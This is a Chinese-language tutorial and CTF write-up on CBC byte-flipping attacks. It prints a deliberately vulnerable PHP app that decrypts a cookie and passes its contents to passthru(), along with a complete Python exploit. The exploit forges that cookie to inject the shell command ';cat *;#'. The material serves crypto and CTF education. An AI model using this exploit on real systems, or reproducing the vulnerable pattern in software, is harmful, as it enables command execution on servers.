CBC位元組翻轉攻擊-101Approach
0x00 譯者前言
本文翻譯自:http://resources.infosecinstitute.com/cbc-byte-flipping-attack-101-approach/
drops裡的相關主題文章:使用CBC位元反轉攻擊繞過加密的會話令牌
緣起是糖果出的一道題,看到原文作者對這一問題闡述的較為詳細,雖然時間有些久遠,但翻譯一下可與諸君學習一下思考問題的方法。
0x01 相關介紹
此攻擊方法的精髓在於:透過損壞密文位元組來改變明文位元組。(注:藉助CBC內部的模式)藉由此可以繞過過濾器,或者改變使用者許可權提升至管理員,又或者改變應用程式預期明文以盡猥瑣之事。
首先讓我們看看CBC是如何工作的,(作者很懶所以)更多細節你可以看這裡:wiki
在這裡只是解釋一下關於攻擊必須要理解的部分。(即:一圖勝千言)
加密過程
Plaintext:待加密的資料。
IV:用於隨機化加密的位元塊,保證即使對相同明文多次加密,也可以得到不同的密文。
Key:被一些如AES的對稱加密演算法使用。
Ciphertext:加密後的資料。
在這裡重要的一點是,CBC工作於一個固定長度的位元組,將其稱之為塊。在本文中,我們將使用包含16位元組的塊。
因為作者討厭高數(和譯者一樣),所以作者造了一些自己的公式(方便記憶):
- Ciphertext-0 = Encrypt(Plaintext XOR IV)—只用於第一個組塊
- Ciphertext-N= Encrypt(Plaintext XOR Ciphertext-N-1)—用於第二及剩下的組塊
注意:正如你所見,前一塊的密文用來產生後一塊的密文。
Decryption Process
- Plaintext-0 = Decrypt(Ciphertext) XOR IV—只用於第一個組塊
- Plaintext-N= Decrypt(Ciphertext) XOR Ciphertext-N-1—用於第二及剩下的組塊
注意:Ciphertext-N-1(密文-N-1)是用來產生下一塊明文;這就是位元組翻轉攻擊開始發揮作用的地方。如果我們改變Ciphertext-N-1(密文-N-1)的一個位元組,然後與下一個解密後的組塊異或,我們就可以得到一個不同的明文了!You got it?別擔心,下面我們將看到一個詳細的例子。與此同時,下面的這張圖也可以很好地說明這種攻擊:
0x02 一個例子(CBC Blocks of 16 bytes)
比方說,我們有這樣的明文序列:
a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}
我們的目標是將“s:6
”當中的數字6轉換成數字“7”。我們需要做的第一件事就是把明文分成16個位元組的塊:
- Block 1:
a:2:{s:4:"name";
- Block 2:
s:6:"sdsdsd";s:8
- Block 3:
:"greeting";s:20
- Block 4:
:"echo 'Hello sd
- Block 5:
sdsd!'";}
因此,我們的目標字元位於塊2,這意味著我們需要改變塊1的密文來改變第二塊的明文。
有一條經驗法則是(注:結合上面的說明圖可以得到),你在密文中改變的位元組,只會影響到在下一明文當中,具有相同偏移量的位元組。所以我們目標的偏移量是2:
因此我們要改變在第一個密文塊當中,偏移量是2的位元組。正如你在下面的程式碼當中看到的,在第2行我們得到了整個資料的密文,然後在第3行中,我們改變塊1中偏移量為2的位元組,最後我們再呼叫解密函式。
$v = "a:2:{s:4:"name";s:6:"sdsdsd";s:8:"greeting";s:20:"echo 'Hello sdsdsd!'";}";
$enc = @encrypt($v);
$enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
$b = @decrypt($enc);
執行這段程式碼後,我們可以將數字6變為7:
但是我們在第3行中,是如何改變位元組成為我們想要的值呢?
基於上述的解密過程,我們知道有,A = Decrypt(Ciphertext)與B = Ciphertext-N-1異或後最終得到C = 6。等價於:
C = A XOR B
所以,我們唯一不知道的值就是A(注:對於B,C來說)(block cipher decryption);藉由XOR,我們可以很輕易地得到A的值:
A = B XOR C
最後,A XOR B XOR C等於0。有了這個公式,我們可以在XOR運算的末尾處設定我們自己的值,就像這樣:
A XOR B XOR C XOR "7"
會在塊2的明文當中,偏移量為2的位元組處得到7。
下面是相關原理實現的PHP原始碼:
#!php
define('MY_AES_KEY', "abcdef0123456789");
function aes($data, $encrypt) {
$aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
$iv = "1234567891234567";
mcrypt_generic_init($aes, MY_AES_KEY, $iv);
return $encrypt ? mcrypt_generic($aes,$data) : mdecrypt_generic($aes,$data);
}
define('MY_MAC_LEN', 40);
function encrypt($data) {
return aes($data, true);
}
function decrypt($data) {
$data = rtrim(aes($data, false), "\0");
return $data;
}
$v = "a:2:{s:4:\"name\";s:6:\"sdsdsd\";s:8:\"greeting\";s:20:\"echo 'Hello sdsdsd!'\";}";
echo "Plaintext before attack: $v\n";
$b = array();
$enc = array();
$enc = @encrypt($v);
$enc[2] = chr(ord($enc[2]) ^ ord("6") ^ ord ("7"));
$b = @decrypt($enc);
echo "Plaintext AFTER attack : $b\n";
0x03 一個練習
光說不練假把式,接下來作者舉了一個他參加過的CTF中的一道題目的例子(更多詳情可以參閱最後的相關參考連結),然後闡述了他是怎樣在最後幾步中打破CBC的。
下面提供了這個練習當中很重要的一部分原始碼:
其中,你在POST提交引數"name"的任何文字值之後,應用程式則會對應輸出"Hello"加上最後提交的文字。但是有兩件事情發生在訊息列印之前:
- POST引數"name"值被PHP函式escapeshellarg()過濾(轉換單引號,防止惡意命令注入),然後將其儲存在Array->greeting當中,最後加密該值來產生cookie。
- Array->greeting當中的內容被PHP函式passthru()執行。
- 最後,在頁面被訪問的任何時間中,如果cookie已經存在,它會被解密,它的內容會透過passthru()函式執行。如前節所述,在這裡CBC攻擊會給我們一個不同的明文。
然後作者構造了一個POST"name"的值來注入字串:
name = 'X' + ';cat *;#a'
首先作者新增了一個字元"X",透過CBC翻轉攻擊將其替換成一個單引號,然後;cat *;
命令將被執行,最後的#
是用來註釋,確保函式escapeshellarg()插入的單引號不會引起其他問題;因此我們的命令就被成功執行啦。
在計算好之前的密碼塊中,要被改變的位元組的確切偏移量(51)後,作者透過下面的程式碼來注入單引號:
pos = 51;
val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))
exploit = cookie[0:pos] + val + cookie[pos + 1:]
然後作者透過改變cookie(因為其具有全部的密文),得到以下結果:
首先,因為我們改變了第一塊,所以在第二塊中,黃色標記的"X"被成功替換為單引號,它被認為是多餘插入(綠色),導致在unserialize()處理資料時產生一個錯誤(紅色),因此應用程式甚至都沒有去嘗試執行注入了。
如何完善
我們需要使我們的注入資料有效,那麼我們在第一塊中得到的額外資料,就不能在反序列化的過程中造成任何問題(unserialize())。一種方法是在我們的惡意命令中填充字母字元。因此我們嘗試在注入字串前後填充多個'z':
name = 'z'*17 + 'X' + ';cat *;#' + 'z'*16
在傳送上述字串後,unserialize()並沒有報錯,並且我們的shell命令成功執行!!!
0x04 相關參考
- CRYPTO #2: http://blog.gdssecurity.com/labs/tag/crypto
- http://codezen.fr/2013/08/05/ebctf-2013-web400-cryptoaescbchmac-write-up/
- http://hardc0de.ru/2013/08/04/ebctf-web400/
0x05 附錄程式碼
下面是上面練習當中的PHP原始碼及exp:
PHP code:
#!php
ini_set('display_errors',1);
error_reporting(E_ALL);
define('MY_AES_KEY', "abcdef0123456789");
define('MY_HMAC_KEY',"1234567890123456" );
#define("FLAG","CENSORED");
function aes($data, $encrypt) {
$aes = mcrypt_module_open(MCRYPT_RIJNDAEL_128, '', MCRYPT_MODE_CBC, '');
$iv = mcrypt_create_iv (mcrypt_enc_get_iv_size($aes), MCRYPT_RAND);
$iv = "1234567891234567";
mcrypt_generic_init($aes, MY_AES_KEY, $iv);
return $encrypt ? mcrypt_generic($aes, $data) : mdecrypt_generic($aes, $data);
}
define('MY_MAC_LEN', 40);
function hmac($data) {
return hash_hmac('sha1', data, MY_HMAC_KEY);
}
function encrypt($data) {
return aes($data . hmac($data), true);
}
function decrypt($data) {
$data = rtrim(aes($data, false), "\0");
$mac = substr($data, -MY_MAC_LEN);
$data = substr($data, 0, -MY_MAC_LEN);
return hmac($data) === $mac ? $data : null;
}
$settings = array();
if (@$_COOKIE['settings']) {
echo @decrypt(base64_decode($_COOKIE['settings']));
$settings = unserialize(@decrypt(base64_decode($_COOKIE['settings'])));
}
if (@$_POST['name'] && is_string($_POST['name']) && strlen($_POST['name']) < 200) {
$settings = array(
'name' => $_POST['name'],
'greeting' => ('echo ' . escapeshellarg("Hello {$_POST['name']}!")),
);
setcookie('settings', base64_encode(@encrypt(serialize($settings))));
#setcookie('settings', serialize($settings));
}
$d = array();
if (@$settings['greeting']) {
passthru($settings['greeting']);
else {
echo "</pre>
<form action="\"?\"" method="\"POST\"">\n";
echo "
What is your name?
\n";
echo "<input type="\"text\"" name="\"name\"" />\n";
echo "<input type="\"submit\"" name="\"submit\"" value="\"Submit\"" />\n";
echo "</form>
<pre>
\n";
}
?>
Exploit:
#!python
#!/usr/bin/python
import requests
import sys
import urllib
from base64 import b64decode as dec
from base64 import b64encode as enc
url = 'http://192.168.184.133/ebctf/mine.php'
def Test(x):
t = "echo 'Hello %s!'" % x
s = 'a:2:{s:4:"name";s:%s:"%s";s:8:"greeting";s:%s:"%s";}%s' % (len(x),x,len(t),t, 'X'*40)
for i in xrange(0,len(s),16):
print s[i:i+16]
print '\n'
def Pwn(s):
global url
s = urllib.quote_plus(enc(s))
req = requests.get(url, cookies = {'settings' : s}).content
# if req.find('works') != -1:
print req
# else:
# print '[-] FAIL'
def GetCookie(name):
global url
d = {
'name':name,
'submit':'Submit'
}
h = requests.post(url, data = d, headers = {'Content-Type' : 'application/x-www-form-urlencoded'}).headers
if h.has_key('set-cookie'):
h = dec(urllib.unquote_plus(h['set-cookie'][9:]))
#h = urllib.unquote_plus(h['set-cookie'][9:])
#print h
return h
else:
print '[-] ERROR'
sys.exit(0)
#a:2:{s:4:"name";s:10:"X;cat *;#a";s:8:"greeting";s:24:"echo 'Hello X;cat *;#a!'";}
#a:2:{s:4:"name";
#s:10:"X;cat *;#a
#";s:8:"greeting"
#;s:24:"echo 'Hel
#lo X;cat *;#a!'"
#;}
#a:2:{s:4:"name";s:42:"zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz";s:8:"greeting";s:56:"echo 'Hello zzzzzzzzzzzzzzzzzX;cat *;#zzzzzzzzzzzzzzzz!'";}
#a:2:{s:4:"name";
#s:42:"zzzzzzzzzz
#zzzzzzzX;cat *;#
#zzzzzzzzzzzzzzzz
#";s:8:"greeting"
#;s:56:"echo 'Hel
#lo zzzzzzzzzzzzz
#zzzzX;cat *;#zzz
#zzzzzzzzzzzzz!'"
#;}
#exploit = 'X' + ';cat *;#a' #Test case first, unsuccess
exploit = 'z'*17 + 'X' + ';cat *;#' + 'z' *16 # Test Success
#exploit = "______________________________________________________; cat *;#"
#Test(exploit)
cookie = GetCookie(exploit)
pos = 100; #test case success
#pos = 51; #test case first, unsuccess
val = chr(ord('X') ^ ord("'") ^ ord(cookie[pos]))
exploit = cookie[0:pos] + val + cookie[pos + 1:]
Pwn(exploit)
相關文章
- 使用CBC位元反轉攻擊繞過加密的會話令牌2020-08-19加密會話
- 最新寬位元組注入攻擊和程式碼分析技術2024-03-12
- 位元組編碼轉換2017-10-30
- 轉換協議位元組2024-06-14協議
- Java的魔力:位元組碼(轉)2007-08-15Java
- 網站遇到攻擊怎麼辦?常見攻擊有哪些?(轉)2016-09-08網站
- 典型攻擊之滲透攻擊必用命令與步驟(轉)2007-09-19
- 駭客攻擊技術之高階SQL隱碼攻擊技術(轉)2007-09-19SQL
- c# 主機和網路位元組序的轉換 關於網路位元組序和主機位元組序的轉換2014-03-10C#
- 16進位制字串轉位元組2020-12-22字串
- SWEED駭客組織攻擊活動分析報告2020-07-10
- 【轉】strcpy溢位的攻擊示例2017-08-27
- 駭客攻擊日誌記錄(轉)2007-08-12
- 第五篇:主機位元組序與網路位元組序的轉換2017-01-29
- 凱撒文化暴漲背後,位元組遊戲的進擊之路2020-07-13遊戲
- 從 unicode 到位元組的轉換2023-11-15Unicode
- 位元組流轉16進位制字串2024-06-18字串
- RAMBleed擴充套件位翻轉攻擊領域 成功獲取OpenSSH 2048位金鑰2019-06-13套件
- 位元組流2024-07-31
- 追溯朝鮮APT組織Lazarus的攻擊歷程2019-11-25APT
- 淺談資料庫的攻擊(轉)2007-08-11資料庫
- udp 500 D.O.S攻擊 (轉)2007-12-15UDP
- XXE攻擊攻擊原理是什麼?如何防禦XXE攻擊?2023-02-13
- 位元組陣列轉浮點數線上轉換器2024-11-09陣列
- 淺談DDOS攻擊攻擊與防禦2012-07-26
- C#位元組陣列與字串轉換2015-08-25C#陣列字串
- nodejs圖片轉換位元組儲存2015-10-21NodeJS
- pyc位元組碼文字轉python程式碼2024-05-15Python
- APT攻擊2017-11-12APT
- 口令攻擊2024-10-04
- CSRF 攻擊2024-10-05
- 攻擊性2024-03-26
- CSRF攻擊2024-05-17
- 安全漏洞在網路攻擊中影響多大?勒索組織趁漏洞修補時機發起攻擊2021-11-11
- 黑吃黑——黑客組織通過黑客工具攻擊其他黑客2020-03-11黑客
- 安全公司FireEye再被攻擊!劍指俄羅斯APT組織2020-12-09APT
- 黑吃黑——駭客組織透過駭客工具攻擊其他駭客2022-11-27
- 攻擊面管理預防網路攻擊原理?2022-02-22